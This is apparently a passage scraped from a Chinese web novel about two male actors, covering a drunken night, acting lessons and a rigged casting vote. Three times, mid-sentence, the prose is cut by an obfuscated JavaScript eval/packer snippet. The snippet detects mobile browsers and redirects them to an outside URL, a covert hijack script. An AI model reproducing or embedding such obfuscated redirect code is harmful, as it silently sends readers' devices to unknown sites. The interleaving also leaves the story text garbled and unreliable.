颜纯:……恨不得长出八只手捂嘴。 服了,真服了,彻底服了! “袁导知道你这么戏精的吗?” 嫌弃归嫌弃,颜纯还是将他挪正了,躺顺了,把溢出小床的长手长脚都收拾着搬上床,“衣服裤子脱不脱?” 信洋乖乖举手。 又费了一番功夫将外衣外裤脱了,颜纯扯开被子盖他身上,结果信洋自己坐起来三下五除二把剩余的衣物都脱了,最后两手搭在裤衩腰上时颜纯拼命制止了。 “你到底真醉假醉?” 信洋又啪叽倒回床上,拍拍身边的空位:“一个人睡害怕,陪陪。” 颜纯食指戳戳他那弹性十足的大臂肌肉,您这体格子说这话谁信? 他扯开被子将人蒙住,“快睡。明早起来床单被套都给我洗了。” 信洋捉他手腕:“那搂着。” “搂什么搂,快睡!” 搂着睡当然不可能,床就是个一米二的单人床,挤两个大男人实在费劲。 “那拍拍。”信洋翘着兰花指小心翼翼捏他指尖。“颜老师,你知道的,我从小没了妈呜呜呜呜呜,没人哄我睡觉觉——” “啊啊啊,好好,拍,受不了,什么睡觉觉,好好说话。”颜纯撸了把胳膊上被信洋腻歪起来的鸡皮疙瘩,坐到床沿上,拍小孩一样拍他。 看在翁前辈的面子上,就哄哄吧。 信洋攥着他一根指头,一会儿用鼻尖蹭蹭他掌心,一会用脸贴贴手背,慢慢的,还真睡着了。 看着那安静乖巧的睡颜,颜纯内心生出一种奇异的满足感。还是人生第一次将人哄睡,别说,挺有成就感。 等了半分钟,他小心翼翼抽出手指,信洋迷迷糊糊伸手追过来,他连忙将逗逗塞过去。又拍了几下,听信洋打起了呼,他长呼口气,才起身去洗漱。 洗漱完他抱了干净被子,躺到沙发上看《霸总》。醉羊羊均匀地打着鼾,颜纯平时一个人习惯了,屋子里总是静悄悄的,这会儿有其他动静也静不下心,索性舍了书里的霸总,去看床上的。 信洋的睡姿倒是出乎意料地乖,他贴着墙,搂着逗逗,两只大脚丫露在被子外面,胸膛以上也露在外面。 我就帮你盖盖被,哎呀,怎么不小心碰到你肌肉了,这可真是…… 手感好好哦~~~ 抓起来一定很弹,颜纯要咬牙忍住了,只戳戳戳了几下。 他动作很轻,但信洋还是转了个身,又抓住了他一根指头,嘟嘟囔囔:“陪我……” “嗯,陪呢,快睡。”睡眠质量是真不咋地,颜纯又拍了一会儿,为醉羊盖好了被子,悄悄离开了。 这人睡着比醒着好玩,喝点酒也不端着装着,比清醒了有意思。平时看着傻呵呵一大只,心眼子其实不少嘛,还我从小没了妈,要拍拍才能睡着,嘿,这一面倒是挺可爱。 信洋还不知道自己在颜老师那儿加了分,他已经臊得飞离地球了。 他太清楚自己喝醉什么德性了。五岁那年过年时,他被古德强灌了一口白酒,然后羞羞答答脱了棉裤,一脸腼腆的笑着,但又坚定地让每个人都要看他的奥特曼小内裤的趣事,到现在了每年过年都还有人提呢。 唉!酒不是好东西,人也不是什么正经玩意。 不过幸好,昨晚只在颜老师面前丢脸了,只有颜老师看到他这一面。 想到这儿,信洋心里滋生了一种不可言说的亲近感。是分享过最私人的一面的,是特殊的,是独一无二的,颜老师。嘿嘿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124110|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 葵葵远远看见他,像看见了网上刷到的那只欢乐小羊。 同手同脚,蹦蹦跳跳,真欢乐啊。下一秒,腹黑葵葵喊住欢乐小羊,告诉他,三字哥打来电话,下周末要进行最终定角。 小羊瞬间定格,脸上的笑跟破裂的玻璃一样,啪嚓啪嚓,全碎掉了。山峰传媒还是来作妖了。 袁严这边也收到了山峰传媒的消息,气的他对方还没说完就撂电话了。 当初选信狼的演员时,他压根就没指望新人演员能有什么演技,所以定人的时候在外形上下了很大的功夫。 颜纯的角色是最先定下来的,他根据安耀阳的定妆照,去找的信狼的演员。基本上所有人都认为信狼这个角色内定的信洋,但其实并不是,信洋当时并不是第一人选。他有优势的只是身高,但体型偏瘦,长相过于帅气漂亮,不够粗糙硬朗,气质更是太过现代潮流,从小养尊处优的环境,更是让他身上充满了贵气的平和感,没有一丝亡命之徒般不顾一切的狠厉和彪悍。 当时培训乌泱泱报名了几大千演员,有不少专业运动员和武打演员,外形比信洋更贴的人不少。但训练半个月后,有的只想在大电影刷脸的,有的想就蹭个大导的有效镜头的,有被谣传的“主演已经内定”的说法动摇的,统统嫌前期投入成本太大,半途退出了。 一个月后经过第一轮筛选,信狼这个角色的竞争者只剩12个,其中一半是有表演经验的前辈。得知接下来半年是全封闭训练,不能接任何商务活动,以及要签拍摄保密合同,和大幅度降低映前曝光,还有拍摄期间除了拿基本工资,无额外片酬后,又有一大半退出了。 信洋当时算是最心无旁骛的一个。因为三字哥告诉他:你是稳的。三字哥的意思是,这片好歹咱们公司投的,你捞个小角色没问题的。结果信洋以为主角内定他了。 于是他看着每天一起训练的兄弟们十分惭愧,这惭愧使他想做到更好,做到第一。他拿到剧本看到那么多同性亲密戏刚开始也十分抗拒,但转念一想,绝不能辜负这次机会,一定要证明给古德强看他能行!要做就做到最好!他燃起汹汹斗志,白天拼了命训练,晚上入睡前一定会刷前辈们得新人奖的视频,收集做梦素材给自己打气。 最后的面试是三轮,信洋,漆小海,武林磊三人竞争信狼一角,迟迟定不下。没两天漆小海爆出和富婆的花边新闻,被刷,信洋和武林磊之间让袁导头疼了好久。 两个新人都是难得能沉住气的好苗子,他打算《港色1993》用一个,下部新片用一个。但《港色1993》用谁呢? 人物外形方面,经过半年的训练,信洋壮了也晒黑了,人物的粗粝感也有了,个头带来的压迫感上,189的他也确实比180刚出头的武林磊更占优。武戏方面,信洋除了第一次测评得了个B,剩下七次测评都是A+,相当于动作戏他也已经完全没问题了。但和颜纯的试戏中,一个没有肢体接触,只靠神情传递情绪的片段,武林磊显然更加出彩。 袁导也挺奇怪的,按道理讲,新人遇到颜纯这种级别的前辈,那都巴不得节节课黏着请教,搞好关系。毕竟颜纯就是活生生行走的资源大佬,随便一句推荐就能让他们获得更多出头的机会,但信洋这小子不仅不黏,还避着,两人之间别说培养亲密感了,隐隐约约的还有一种我不理你你也别理我的抗拒感。 所以最后定信洋,最意外的人其实是颜纯。 定信洋的那天也挺戏剧化的。 16. 第 16 章 那天是个艳阳天,日头高照,信洋从训练场里拖轮胎练完力量回来,身上的黑色坎肩背心,前胸后背都洇着汗,两个裸着的膀子加脸庞晒得黑黝黝的,大马金刀往桌边一坐,端起茶碗仰头就灌。颜纯在一旁擦洗,看见他,极小幅度地翻了个白眼。 信洋感觉到了他视线,二话不说拽着板凳坐到墙角,离颜纯远远的。 这一幕被袁导捕捉到,他当即一拍大腿,就信洋了! 这不正是日常嫌弃脏孩子的洁癖Daddy,和前期心意未明时,动不动就和Daddy闹别扭的犟怂狼崽嘛。 我中意你但我不说,但你嫌我不好,你要偏心别人,那我就吃醋闹别扭,我就不理你,但你还不能不理我,你不理我我就找茬,谁都别好过! 袁导大喜,不管他们后期磨合成什么样,反正角色的灵魂已经有了。 他喜的颜纯一头雾水,颜纯也是个直来直去的性子,当着信洋面直说他文戏一塌糊涂。信洋听了心里更憋气了,更躲着颜纯了。 所以当信洋得知要再竞争一次信狼时,第一反应不是保住自己的角色,而是要让颜纯真正认可他,要让颜纯夸他。 我们拥有别人不知道的秘密,我想让你看见真正的我。 他回到宿舍对着镜子加油打气一番,抱着剧本和拍的时候做的笔记,敲开了307的门。 美好的周末被打搅,颜纯黑着脸:“周末我要休息,周一再说。” “……好吧。”欢快小羊的尾巴摇不动了,“等等颜老师!我想问下,我要演出怎样的效果你才满意?” 颜纯抬眼,看他一脸失落,还是收敛了语气。 “不是我满意,是导演满意。” “袁导的片你都看过了吗?” 信洋心虚了,他就只看了名声大噪的三部,其中看的最多遍的,就是袁严和颜纯合作的《请打给麦先生》。 “你先去把导演的作品都看一遍吧。尤其感情戏,多看几遍。” “好!”小羊尾巴又摇起来了。 于是这个周末,信洋乖乖听话把袁导所有片子都看了。 周末晚上,他抱着观影笔记去找颜纯,发现颜纯不在。日期的迫近导致他十分焦虑,无法松懈,他只好去请教李麦。 袁导计划的夫夫夜钓泡汤,一脸怨闷,信洋浑然不觉他脸色有多难看。 李麦哄在发火边缘的袁严:“导演去溜溜食吧。” 导演乖乖去了。 李麦拿过信洋的观影笔记一页一页看,看完给出了很高的评价。 “袁导要的感情戏是自然而然的流露,不是大尺度的视觉刺激。总结的很精准嘛。” “颜老师说让我重点看感情戏,其实袁导片里爱情的戏份并不多,但是因为每一段都让人印象很深刻,就有一种他拍的是爱情片的错觉。我最喜欢《请打给麦先生》里的男女主那段跨时空的对白,意犹未尽,看了好多遍呢。” 《请打给麦先生》里男女主人公连一个吻都没有,但就是把AI和孤独的人类之间,那种难以割舍的感情,克制又精准地表达得触人心弦。 “嗯,你表达能力不错嘛。”李麦在戏剧学院任教近十年,是一名很擅长抓学生长处,并教之如何将其优化的好老师。 “其实你有很多优点。” “我还有优点?” “对,像你这样没什么拍戏经验的,最难克服的一点要么是在镜头前放不开,要么太把镜头当回事,只对着镜头表演,事实上完全没入戏。但我看你还挺自然,这就是你的优点,也可以理解为你的天赋。这一点你和颜纯还有点像。” 信洋回想了一下这些天的拍摄,发现好像还真是这么回事。拍群像时他都在一遍遍回忆提前的走戏,一心琢磨着如何完美复刻武指的动作,拍和颜纯的对手戏时他注意力都在颜纯身上,还真的从来没有关注过镜头。 “好像是这么一回事。”信洋撸一把扎手的寸头,腼腆的笑着,“我就是天天观察颜老师,他怎么做我就跟着怎么做。我还以为这样不太对呢,毕竟NG次数也没变少。被您肯定了我心里就踏实了,知道自己的方向没错。谢谢,李老师。” “你私下可别这么叫我。”李麦笑起来,“喊我李叔吧,我比你们袁导还大一岁,算年纪也能当你叔了。” “啊?!一点都看不出啊!”信洋震惊的真情实意。年龄确实是娱乐圈最难肉眼辨别精确的。“我还以为您跟颜老师差不多大。” “哪有,比他大将近十岁呢。你挺聪明,知道跟着颜纯学。不过他不是科班出身,演戏从来没有规定的路数,有些桥段能比我这种学院派出身的处理地灵活,而且他天生共情能力强,理解能力强,表达能力也强 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“你这个自然而然的亲密感抓的也不错。亲密感是需要前期培养的。很多演员都是前期培养出彼此间的信任感,拍的时候代入戏里,效果会更好。但我看袁导没这么要求你和子安,应该是有别的考量。” 信洋声音低低的,“是我前期缺了几堂课。” “不是。”李麦很笃定地说,“袁导如果真的想用这种方法让你入戏,肯定会强势要求你,你不听话一定会换人。他没有要求,就一定有别的想法。” “是吗?” 信洋怕做手写笔记耽搁时间,干脆打开了手机录音。 李麦还提出了很重要的一点,感情戏中,情和欲是不能分开的。有很多片子的激情戏只有刺激耳膜的吟叫和视觉刺激,没有任何情感的铺垫,欲望便只是噱头,不能升华。 不知不觉,李麦断断续续讲了一个钟头,讲到袁导都回来了。 “还没完?过来自己看片自己分析问题。”袁导把前段时间拍的片段做了粗剪,拿过来了。 信洋认认真真看完了自己和颜纯两分钟的对手戏。 袁严:“你还有什么疑问吗?” 信洋没有疑问,信洋满脑子都是他舌头在颜纯嘴里的画面。 17. 第 17 章 “问你话呢!”袁导敲桌子把信洋唤回神。 信洋慌忙咽了口吐沫,“那啥,啊,啊……导、导演你为什么这么喜欢拍纯哥腰?” “因为那都是你的视角,你最喜欢他的腰,一天老盯着人家腰看,懂了吗?”暴躁袁导真是无奈死了,“看重点!看自己的戏!” “哦哦哦,好的好的,是……是信狼爱看他的腰嘛,又不是我爱看。”有什么被戳中,信洋仓皇地摸了下鼻尖,此地无银三百两地念叨。 袁导斜他一眼,心说是狼是羊你自己心里没数吗。 又转头看着李麦,温温柔柔:“今天要不就到这吧?让他自己回去慢慢琢磨去?嗯?” 李麦还没说话,信洋连忙起身道别:“好的好的,谢谢袁叔,李老……李叔。” 看到袁导自然而然地端起李麦的水杯喝水,他心想,他们关系可真好。 新的一周,每天依旧忙碌充实。信洋室内的动作戏基本都集中在这一周,高强度的拍摄令他每天都忙到虚脱。下戏后匆匆忙忙吃完饭,再跟李麦上两个小时的表演课,回到宿舍有时候累到澡都不想洗,倒头就睡。 只是身体累还好,主要是最终定角的日子一天天迫近,神经愈加紧绷,信洋焦虑得不行。 守正出奇,守正出奇!你只要做好自己该做的每一件事就行了,努力始终会有收获的,就算短期内看不到效果,未来某一天也一定会帮到你,要坚持长期主义,戒骄戒躁。 然而这自我安慰没什么卵用,他连着好几天早上四点就醒,醒来就去收藏了一堆教表演的理论课和实践课的视频,眼一睁就盯着看,盯着学。 但是短期内他仍旧感受不到自己的进步,颜纯的肯定别说,导演也越来越少夸他,他心里越发打鼓。 “幸好这周没有跟颜老师的戏,要不然我这状态指定卡到崩溃。”信洋唏哩呼噜一碗酸汤馄饨下肚,信洋饿了一天的胃终于舒服了。 稍微缓了缓,他端过米饭开始吃正餐。体能消耗大,吃的也多,食堂阿姨炸得一手好锅包肉,外酥里嫩,甜而不腻,要不是为了控制身材,信洋、盛妆、江子翘、葵葵还有几个吃饭搭子,顿顿都想吃。 信洋:“颜老师除了这周和麻哥拍那两场动作戏,都没怎么看见他。” “嗯,好像家里有急事。”盛妆说。 颜纯父亲是一位话剧导演,母亲骆闻梅是家喻户晓的国民影后,中年因患病息影,信洋去年还刷到过其病危的新闻。 信洋:“是骆前辈病又严重了吗?” “好像不是,我上周周末看到一个男人来找纯哥,就是那个拉小提琴的,他绯闻男友。”江子翘一脸八卦。 “不是绯闻男友。”盛妆语气笃定,“三年前我们戛纳一起宣传麦先生时,人家全程陪同呢。” 信洋搛菜的手一顿,忽然爆发出惊天动地的呛咳。半块锅包肉卡在他嗓子里,咳了好半天才蹦出来。他满脸涨红,猛灌半瓶汽水,试图压下嗓子里的不适感。 关于颜纯的话题就此被打断,信洋再拿起筷子,再香的锅包肉却是一口也吃不下了。 终于,到了最终定角的这一天。信洋四点起床做完妆造,拍完评委团要求的试戏片段,去表演教室等待现场面试。 他进去后不久,三字哥打来了电话。 “本来想迟点告诉你,但是先说也好,就是……今天只是走个过场,信狼咱就不演了,咱演个新的角色,编剧组已经在写这个人物了,你今天就放轻松随便演,想怎么演怎么演,他们不选你不是因为你能力不行,知道了吗?我这还有很多好本子给你备着呢。” 握手机手指关关节用力到发白,信洋深吸一口气,呼吸都在颤抖。 他不知道公司背后又又又又和山峰传媒做了什么交易,这已经是第四次这样对他了。前三次没这么过分,他都是看在三字哥的面上忍了。但这一次…… 信洋嗤笑一声,心想,哼!我要找大哥告状!要大哥来收了这一圈妖魔鬼怪! “洋仔,你听着没?” “我知道了。” 听筒那边传来三字哥沉重的叹息,“我也实在是……没办法,王总他——” “我知道。”信洋的声音异常沉稳,“公司那边我会让我哥去跟王总谈,这次我不会让步的,我一定要演这部戏,而且——“ “一定要跟他演对手戏。” ** 八点半,评委们陆陆续续进场。信洋默默数了数,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15124112|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然来了二十几个。于此同时,他也看见了自己的竞争对手,漆小海。 他挺诧异的,他以为是武林磊或者其他空降的前辈,没想到是被刷掉的漆小海。果然,山峰传媒的手段真挺硬的,但他们也是真没人了,竟然让漆小海来。 信洋对漆小海没什么意见,因为漆小海和漆疾风一样,除了训练时几乎看不到他们身影,所以交际很少。 而且在武戏方面信洋压根没把漆小海放在眼里,他只是在文戏方面有点忐忑。漆小海是个天赋型选手,情绪爆发极其厉害,之前上表演课时,有好几次信洋都被他的表演打动了。 但此刻,信洋心里只是单纯觉得,如果被因为负面新闻刷掉的人取代,那就相当于埋了一个定时炸弹在剧组。到时候炸弹爆炸,如果能压下去还好,压不下去发酵成热点新闻,那么整个剧组肯定都会受到影响。所以他一定会全力以赴。 就是不知道袁导是怎么考量的,既然同意山峰放漆小海进组,估计有招应付。 江子翘和盛妆也跟在人群后进来了,剧组其他年轻演员差不多都来了,是他们各自的经纪公司要求让他们来参加旁观的。 评委席上的一个辛副总,看见盛妆两眼直冒精光。捋了把油头自认为潇洒地站起,肥囊囊的啤酒肚撞得前人的椅背直晃。 “盛小姐,久仰久仰。”他两手伸长,看上去冲过去就要抱盛妆。 他前不久拖关系加了盛妆的私人号,天天早安晚安的,还时不时发些营销号大吹盛妆美貌的推文过去。盛妆要烦死了,但是要给人卖面子,所以没删。辛副总约她线下见面,她找了N多借口拒绝了。线上骚扰消息设置成免打扰也就忍了,线下就难搞了。但看来今天是躲不过了。 盛妆正尬笑着额上冒汗,一只手横过来截断了辛副总。颜纯迎上去接住了他右手握住。“辛总,好久不见。” 信洋呼吸霎时乱了。 颜纯握着那辛副总的手同他寒暄,后者还瞅着盛妆,空着的左手去够盛妆,颜纯又截住了他左手。两人维持着奇怪的握姿站在门口唠嗑。 忽然,屋内一高大的身影凑上去,硬是从颜纯手里抢过辛副总的两手捏住。 信洋:“天哪!张哥你怎么又帅了!” 18. 第 18 章 辛副总:“???” 颜纯:“???”这家伙又发什么神经。 “我你不记得了吗?是我,你小时候我还抱过的。” “哈?”辛副总陷入了深深的疑惑。 “哦不是,我小时候你抱过我,记错了记错了。主要你变得太帅了,比我还年轻,哈哈。” 这彩虹屁吹得辛副总完全失忆了,浪古实业的小少爷竟然认识我!才混影视圈两年,我就这么出名了?没办法,优秀的人混哪个圈子都容易出头。 辛副总挺挺肚腩:“古少爷哪里的话,一般一般了,比你肯定差三分的。” 颜纯抿抿嘴,忍住笑,及时抽身:“那你们聊。” 他接收了盛妆投来的感激的目光,端着他那个印着“早日退休”字样的搪瓷茶缸,头低着,慢哒哒径直走到最角落的位置,落座。 信洋目光追随着他,看到他眼下那一堆乌青,兀自想,不知是没休息好,还是想事情愁的。 “好好,古少,咱们加个——” “天哪!真不好意思!”信洋冷漠地撇开辛副总的手,“我认错了,抱歉抱歉。” 辛副总:“……” 这就是传说中的“爱消失得这么快”? …… 人员到齐后一共落座了三排,加上袁导和剧组有话语权的工作人员,一共36人。后两排还分别标注了来人的身份和姓名。什么传媒总监,经纪代理人,出品人,制片人,影视副总,场面上弄的还挺正式。 袁导坐在第一排最中间,简单说了下最终定角的流程——先观看动作戏片段,后文戏,最后现场表演,三轮总得票者多赢。 很快,信洋发现了端倪。第一个动作戏片段先放的漆小海的,还没播到三分之一,后面两排的评委们就已经纷纷投票了。他心下瞬间了然山峰传媒的手段了——竟然是人头战术。 信洋忍不住笑了,高端的商战往往如此朴实无华。 前两轮票数统计下来,他18票,漆小海54票。这意味着第三轮他要得全票,才能和对方打个平手。 这时候那位穿人字拖的影视副总喊道:“这还用得着第三轮吗?” 其他人立马附和,确实没必要了。那位副总站起来要走了,袁导说话了。 他笑嘻嘻的,看着比平时都要慈祥。“刘总,来都来了,再坐会吧。我整个组今天专门停下来陪大家呢,你给我个面?” 人字拖副总又坐回去了。 信洋看袁导的反应,以为事情有转机,结果第三轮一开始,彻底浇灭了他内心的希望。 说好的现场即兴试戏,漆小海放的却是当初表演课上的音像,还是当初把他感动哭的那个片段。 给他的却是现场即兴发挥,其他任何要求都没有,就要颜纯搭他演一段,用人物之间的感情说服他们。 信洋拳头硬了,他暗暗掂量了一下当场发火的后果,长出口气。不想再麻烦大哥来给他擦屁股,不想再被说幼稚。进娱乐圈的路是他自己选的,他必须担起责任证明自己。 他调整着心态,看向颜纯。这些天拍摄的一幕幕从眼前划过,心里没来由地踏实了些,他无条件信任颜纯,他也相信自己。他迈步,站到了距离颜纯两米的地方。 颜纯这几天几乎没怎么睡,他没什么搭戏的心思,就想当个工具人。至于效果如何,就看信洋的造化了。 他拉来把椅子,舒舒服服往里一窝,二郎腿一翘,点了支烟夹在指间,袅袅轻烟中微微抬眼,双眸含着微笑看向信洋,立马化身Daddy。 不知是有意还是无意,信洋注意到,他脚上穿着Daddy常穿的那双拖鞋,还戴着Daddy的银丝边眼镜。这都是道具,他不可能常穿常戴的,那这就是专门为了和他搭戏穿的。 信洋胸口发烫,电光火石间脑子里蹦出一个想法——干脆当场来场强吻戏?这些天和颜纯的对手戏不是强吻就是强吻,这他是目前最拿手的了。但,颜纯会愿意吗?当着这么多人面,没有商量的前提下,亲他会开心吗? 天人交战之际,信洋看到Daddy冲他招手:“过来。” 信洋脑子里顿时没了别的想法,只乖乖走过去。 “这几天我不在,忙什么?” “还能忙什么,不都你撂的烂摊子。早说了不要管那么多,好心办坏事,最后累的还不是我。” 安耀阳看着眼前的满腹劳怨的小男友,语气含笑,声音又温又软:“你唔願意啊?” 狼崽倒吸口气,浓眉拧起,表情含怒带怨,“说这话你有没有心。快夸我。” 这小子,这一周李老师的课还真没白上。 颜纯被他的勾起了戏瘾,不纯纯当工具人了。演个调情的氛围还是非常容易的。 “做得好。”他接着信洋的话说,他很好奇对方接下来信会给出怎样的反应。 狼崽开心了,两眼眯成一对月牙,他走过去蹲下,仰头看着安耀阳,大手抚他憔悴的脸庞:“没休息好?” 颜纯微微倾身,将脸颊贴进他手心,眼神透出疲惫和依赖:“嗯,睡不着。” 两人静静看着彼此,再无对话。一秒、两秒、三秒……暧昧甜蜜的氛围弥漫,所有人都屏息期待着。 颜纯也在期待。 下一秒,他听到信洋问:“是因为你前任吗?” 表演教室里唰地一静,颜纯也浑身一震。像是日光忽然照进心底,照得他那些不愿示人的心思慌里慌张四处乱逃。 他不确定信洋此刻是否要传达“心疼”这个情绪,但是他的确感受到了。 但是何种情绪不重要。剧本里没有前任这个角色,信洋不管如何发散都不可能想到。也许,那天路幼明来找他被他看到了?这是在试探? 颜纯没接话,他敛起笑,直起身,和信洋拉开了距离。 暧昧瞬间荡然无存,只余一股奇异的冰冷笼罩他们。非常明显的冷场,全来自于颜纯散发的抗拒感。 信洋自然感受到了他无声且冷硬的回绝,他心想,果然,他会专门带着道具来帮你,但不代表他就会真的和你交心。不管别人口中的那个“前任”是否真的存在,他都不会回答。 一旦触及到他的隐私面,铜墙铁壁的防御系统立马开工,强硬靠近还是示弱乞求,都不顶用,墙外的人永远无计可施。 这和信洋最初对颜纯的判断是一致的。温和亲切只是表面,只是人设。他肯定也有不被人知,不被大众所接受,也不想被大众知道的一面。 原本该为自己从一开始就没看错人而感到开心,但为什么,好伤心。 如果大哥不管这事,这一场戏,也许就是我们的最后一场戏了。信洋没来由地想。 狼崽眼眶红了,他低下头,像是对白又像自言自语:“不想看你这么累,不想让你伤心。” 他单膝跪地,埋脸在颜纯的双膝间。低垂的肩颈背脊,透出浓重的悲伤和无力。 “不要为他伤心,那样只会让我想剁了他。” 喔喔喔喔喔喔喔,营销小团队对着信洋和颜纯狂拍,今天的热搜有了!这个月的绩效也有了! 颜纯看着眼前这个189的伤心小羊,想起那次信洋给他的小本子,那上面写着对他那些问题的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15124113|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答—— 1.信狼当然想和耀爹并肩,不仅仅因为他爱他,还因为他本身就是一个有责任心,重情重义的人。 2.如果安耀阳没有得胃癌,他也会表明心意。因为他的爱已经太深了太重了,必须用更加外放的方式表达,要不然他一定会被憋死。他渴望和他亲热,如果将来有人比他和耀爹亲密,我都不敢想那个人得被剁成什么样。 3.如果安耀阳死了,信狼会独活吗?我觉得会,可能不是作为他自己,而是带着他的那一份希望活下去。这还挺矛盾的。但我就是觉得他会这么做,不知道和颜老师你想的是否一样。 不多的几行字,涂涂抹抹好几处。字字端正,笔锋强劲,透过内容可以看到比他吊儿郎当的外表,更加成熟稳重的内核,比他平时忽而莽撞忽而胆怯的冒失行为,更加充满温度和深度的思考,即便和颜纯想的不一样,但也比平时更得他心。 所以此刻,那铜墙铁壁的主人,心软了那么一瞬。颜纯伸手抚上了狼崽的后脑勺:“又说傻话。” “啪啪啪啪啪!” 袁导的掌声适时打断了他们的表演,“不错不错,我老……我们李老师教出来的学生就是优秀,哈哈哈哈哈哈。” “怎么样各位,满意了吧。” 评委们怎么看不知道,反正营销小团队是拍嗨了。 山峰传媒的代表,常五常大经纪人也跟着鼓掌,假模假样的:“开眼了,袁导调教人的本事小弟心服口服。看来这票数要有悬念了。” 然而很快票数统计下来,漆小海稳赢。 常五一脸惋惜:“袁导,这你看,实在是可惜啊。” “确实可惜。”接他话的是颜纯。 颜纯本来不打算管这件事的,袁导都没办法制止山峰作妖,他又什么办法。况且就算有办法了管了,这一牵涉其中,后续都是麻烦。 他入行这么多年向来佛系,只恪守演员职责,兢兢业业拍戏,基本上不争取什么话语权。 有金主爸爸想借他名声给自己小情人镀金,加塞的戏份比他这个主角都还多,他也什么都不说,就让加了。 有资本爹想捧其他人,黑他奖项,也就黑了。没什么的,他不在乎,娱乐圈更黑暗的一面他已经在妈妈的遭遇里看见过了,那些都是浮云。他只在乎拍一部戏演技有没有得到磨练,走到哪里是否都能有戏拍。 娱乐圈这个大染缸里谁都不清白,好多人渣仗着权势欺人,但是又不敢真的得罪他背后的老牌娱乐巨头——凌帝集团,就只是单纯恶心人。但凡理他们一下,都能让他们爽翻天。所以有那时间还不如专心做自己的事儿。 遇上好的剧组,是命,遇上傻逼剧组,也是命。颜纯看得开,所以从没主动和别人结过梁子。如果—— 如果不是他这周末被路幼明气个半死,今早回来胃又难受得厉害,去食堂买甜菜山药粥,浆水姨告诉他,那粥是刀疤小伙亲自下厨做的,他想无论如何他都不会管这事。 殷勤小羊亲自下厨做的哪是一碗粥啊,简直就是给自己打了张金子做的豁免卡。 颜纯发誓,他真的只是看在这碗金粥的面上,和那身颇具美感的热辣body没有任何关系。 颜纯看向在坐的各位媒体人,一副被他们伤透心的样子。 “刘总,张姐,你们是真狠心呐,咱们这些年的交情,不说能穿一条裤子吧,但至少能不醉不归是不?你们就这么把我换了?” 人字拖副总:“谁换你了,不换他吗?” 颜纯笑笑,“我俩是一对儿呀,袁导当初按搭档的形式定的演员,他走我也得走。” 19. 第 19 章 !!!! 我俩是一对儿!我俩是一对儿! 信洋猛地抬头,盯住颜纯,他以为自己幻听了。但那声音确实是颜纯的!我俩是一对儿!颜纯说的,颜纯亲口说的! 砰砰砰砰砰,他心跳狂飙升,呼吸都跟着滚烫了起来。 颜纯坦然地与评委席的其他人对视,未给他半分目光,但他就是觉得他在看自己,在用他那永远谦和有礼的目光,笼罩着自己,给予自己最无声却最有力的支持。 “怎么,袁导没告诉你们吗?”颜纯顶着所有人的目光,端起了茶缸,慢悠悠吹开茶叶,抿了口还烫嘴的茶水。 信洋盯着他的脸,那泰然自若的神色,那平静无畏、不把任何人放在眼里的姿态,简直帅爆了! 喝完茶,颜纯向后靠在椅背上,翘起二郎腿。信洋视线顺着他的动作,落到他细白的脚腕,和脚踝的那颗小痣上。 他吞了口吐沫,看颜纯的眼神变了又变。这幅万事不具的大佬姿态,真是太性感了! 他心里涌动起一股介于感激到跪下磕个头,和冲上去狠狠抱一把嘬一口之间的复杂情绪。 袁导一挑眉,和颜纯打配合。“我怎么把这事儿给忘了呢。各位,确实有这么回事,当时我先定的颜纯,然后在新人里挑跟他外型最适配的。” 信洋:“!!!” 我听到了什么?袁导是不是说我是新人里最配颜老师的?新人有好几千呢,四舍五入一下,那不就是中国男演员里最配的嘛!再四舍五入,那不就是全球男演员里最配的嘛!再四舍五入,那不就是全人类最配嘛! 哈哈哈哈哈哈,天造地设,天作之合,命中注定,袁导好眼光! “当然,安耀阳一角其他人也试过,我这都是一对一对搭配好的。”袁导招呼助理拿来了当初定角的演员档案,翻出和漆小海搭的那位演员给大家看。 “他也不错,现在进组拍没问题。” 颜纯就是拉投资的金字招牌,这一点在场的人没人不知道。 常五:“袁导在开玩笑吧,这搭戏的随便换不就行了。” “那不行,我这一对一对的,吃、住、睡都在一起培养出来的。”袁导不亏编剧出身,刺激情节张口就来,“你看他俩刚才,换个人能有这效果?” 一旁的漆小海想戳穿他,被漆疾风一个眼神制止了。 “那不行啊,我当初就是看颜纯面儿投的电影,你换他我上哪挣钱去?”人字拖副总喊道。 一个年轻投资人探头也跟着说:“我也是我也是,颜纯撤了指定不行。” 这时,剧组的表演课老师真挚发问:“刚才明明是信洋即兴表演更出彩,大家为什么都把票投给2号了呢?” 这一问,问得屋子内尴尬蔓延。 只有颜纯含笑的声音幽幽飘起:“可能最近天热,大家眼干看花了吧。” “嘿嘿,我眼干,我确实眼干。颜纯肯定不能换,那那那……那我那啥,我改票,我投回来,行吗?”有人说。 